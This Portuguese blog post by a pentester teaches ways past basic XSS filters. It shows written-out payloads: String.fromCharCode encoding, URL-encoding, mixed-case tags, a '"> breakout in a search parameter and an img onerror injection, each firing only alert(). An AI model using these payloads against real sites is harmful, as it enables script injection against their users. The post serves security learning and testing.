Ícone do site Diego Macêdo

Evitando filtros básicos de XSS

XSS

XSS

Hoje em dia, alguns sites estão mais protegidos contra ataques XSS, fazendo alguns filtros que não permitem o ataque, entretanto, nós podemos evitar estes filtros através de alguns métodos que iremos ver mais abaixo:

  1. Bypass magic_quotes_gpc (se estiver ligado)
  2. Bypass com criptografia do html
  3. Bypass com ofuscação
  4. Bypass com com uma solução de contorno

Bypass magic_quotes_gpc

Quando o magic_quotes_gpc está ligado no PHP, significa que o servidor não permite a aspa dupla , a barra / e aspa simples , e para ignorar isto precisamos usar String.fromCharCode(). Nós escrevemos o nosso código dentro dos parênteses convertido em ASCII decimal separados por vírgula. Veja o exemplo de como seria um alert() comum:

<script>alert("XSS!")</script>

Precisamos converter o texto interno para ASCII incluí-lo entre os parênteses do String.fromCharCode() da seguinte forma:

<script>alert(String.fromCharCode("XSS!"))</script>

E usamos ele para o bypass da seguinte forma:

<script>alert(String.fromCharCode(88,83,83,33))</script

Duas observações importantes:

  1. Remova os zeros da frente dos números ASCII e separe com vírgula, como no exemplo;
  2. Não precisa utilizar as aspas duplas do alert comum, podendo inserir direto o texto ASCII.

Bypass com criptografia do HTML

Este método é simples e só precisamos codificar nosso código HTML em HTTP. Nosso código de alert normal é:

<script>alert("XSS!")</script>

E ficará assim:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%21%22%29%3C%2F%73%63%72%69%70%74%3E

E agora você pode usá-lo para injetar o XSS.

Bypass por ofuscação

Também é muito simples. Este filtro normalmente é utilizado para evitar palavaras-chave, como: script, alert, etc. Neste caso, precisamos alterar um pouco a característica das palavras, como:

Ficando com o código da seguinte forma:

<sCriPt>alERt("XSS!")</sCrIpt>

Bypass por outros métodos

Geralmente nos scripts de busca, somente precisamos adicionar um “> no começo para fechar o campo atual, por exemplo:

http://sitealvodopentest.com/search.php?search="><script>alert("XSS!")</script>

E desta forma conseguimos ignorar no filtro.

Alerta no onerror

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

Veja mais alguns exemplos interessantes sobre como ignorar os filtros XSS no site da OWASP.

E abaixo está uma lista que achei no Github:

Sou bacharel em Sistemas de Informação pela Estácio de Sá (Alagoas), especialista em Gestão Estratégica da Tecnologia da Informação pela Univ. Gama Filho (UGF) e pós-graduando em Gestão da Segurança da Informação pela Univ. do Sul de Santa Catarina (UNISUL). Certificações que possuo: EC-Council CEH, CompTIA (Security+, CySA+ e Pentest+), EXIN (EHF e ISO 27001), MCSO, MCRM, ITIL v3. Tenho interesse por todas as áreas da informática, mas em especial em Gestão e Governança de TI, Segurança da Informação e Ethical Hacking.

Sair da versão mobile